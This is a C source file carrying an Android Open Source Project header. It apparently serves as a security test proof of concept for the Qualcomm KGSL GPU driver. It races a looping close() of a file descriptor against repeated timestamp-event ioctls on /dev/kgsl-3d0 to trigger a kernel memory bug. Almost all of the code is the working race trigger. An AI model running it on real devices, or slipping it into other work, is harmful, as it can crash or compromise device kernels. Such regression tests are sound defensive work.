1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <stdlib.h> 18 #include <unistd.h> 19 #include <errno.h> 20 #include <stdio.h> 21 #include <dirent.h> 22 #include <string.h> 23 #include <sys/stat.h> 24 #include <sys/ioctl.h> 25 #include <stdio.h> 26 #include <string.h> 27 #include <dlfcn.h> 28 #include <sys/time.h> 29 #include <sys/mman.h> 30 #include <sys/syscall.h> 31 #include <sys/resource.h> 32 #include <fcntl.h> 33 #include <pthread.h> 34 #include <unistd.h> 35 #include <sched.h> 36 37 #define KGSL_CONTEXT_SAVE_GMEM 0x00000001 38 #define KGSL_CONTEXT_NO_GMEM_ALLOC 0x00000002 39 /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ 40 #define KGSL_CONTEXT_SUBMIT_IB_LIST 0x00000004 41 #define KGSL_CONTEXT_CTX_SWITCH 0x00000008 42 #define KGSL_CONTEXT_PREAMBLE 0x00000010 43 #define KGSL_CONTEXT_TRASH_STATE 0x00000020 44 #define KGSL_CONTEXT_PER_CONTEXT_TS 0x00000040 45 #define KGSL_CONTEXT_USER_GENERATED_TS 0x00000080 46 /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ 47 #define KGSL_CONTEXT_END_OF_FRAME 0x00000100 48 #define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200 49 /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ 50 #define KGSL_CONTEXT_SYNC 0x00000400 51 #define KGSL_CONTEXT_PWR_CONSTRAINT 0x00000800 52 53 #define KGSL_IOC_TYPE 0x09 54 struct kgsl_drawctxt_create { 55 unsigned int flags; 56 unsigned int drawctxt_id; /*output param */ 57 }; 58 59 #define IOCTL_KGSL_DRAWCTXT_CREATE \ 60 _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create) 61 62 /* destroy a draw context */ 63 struct kgsl_drawctxt_destroy { 64 unsigned int drawctxt_id; 65 }; 66 67 #define IOCTL_KGSL_DRAWCTXT_DESTROY \ 68 _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy) 69 70 struct kgsl_timestamp_event { 71 int type; /* Type of event (see list below) */ 72 unsigned int timestamp; /* Timestamp to trigger event on */ 73 unsigned int context_id; /* Context for the timestamp */ 74 void __user *priv; /* Pointer to the event specific blob */ 75 size_t len; /* Size of the event specific blob */ 76 }; 77 #define IOCTL_KGSL_TIMESTAMP_EVENT \ 78 _IOWR(KGSL_IOC_TYPE, 0x33, struct kgsl_timestamp_event) 79 int g_fd = -1; 80 int g_ctx_id = -1; 81 int g_sync_fence_fd = -1; 82 struct kgsl_timestamp_event g_event; 83 static pthread_cond_t cond = PTHREAD_COND_INITIALIZER; 84 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; 85 86 void trigger_kgsl_create_drawctx() { 87 struct kgsl_drawctxt_create ctx; 88 ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC; 89 ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx); 90 g_ctx_id = ctx.drawctxt_id; 91 } 92 93 void trigger_kgsl_free_drawctx(int id) { 94 struct kgsl_drawctxt_destroy ctx; 95 ctx.drawctxt_id = id; 96 ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx); 97 98 } 99 100 void trigger_kgsl_timestamp_event() { 101 ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event); 102 } 103 104 int open_driver() { 105 char* dev_path = "/dev/kgsl-3d0"; 106 g_fd = open(dev_path, O_RDWR); 107 return g_fd; 108 } 109 110 111 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) { 112 setpriority(PRIO_PROCESS, gettid(), privi); 113 } 114 115 116 void* race_thread(void* arg) { 117 setup_privi_and_affinity(-19, 2); 118 pthread_mutex_lock(&mutex); 119 pthread_cond_wait(&cond, &mutex); 120 pthread_mutex_unlock(&mutex); 121 while (1) { 122 close(4); 123 } 124 return NULL; 125 } 126 127 int main(int argc, char**argv) { 128 setup_privi_and_affinity(-19, 1); 129 130 if (open_driver() < 0) { 131 return -1; 132 } 133 trigger_kgsl_create_drawctx(); 134 135 g_event.type = 2; 136 g_event.context_id = g_ctx_id; 137 g_event.len = 4; 138 g_event.priv = malloc(0x1000); 139 g_event.timestamp = 0; 140 mprotect(g_event.priv, 0x1000, PROT_READ); 141 142 pthread_t tid; 143 pthread_create(&tid, NULL, race_thread, NULL); 144 usleep(100 * 1000); 145 146 pthread_cond_signal(&cond); 147 usleep(20); 148 while (1) { 149 trigger_kgsl_timestamp_event(); 150 } 151 152 return 0; 153 } 154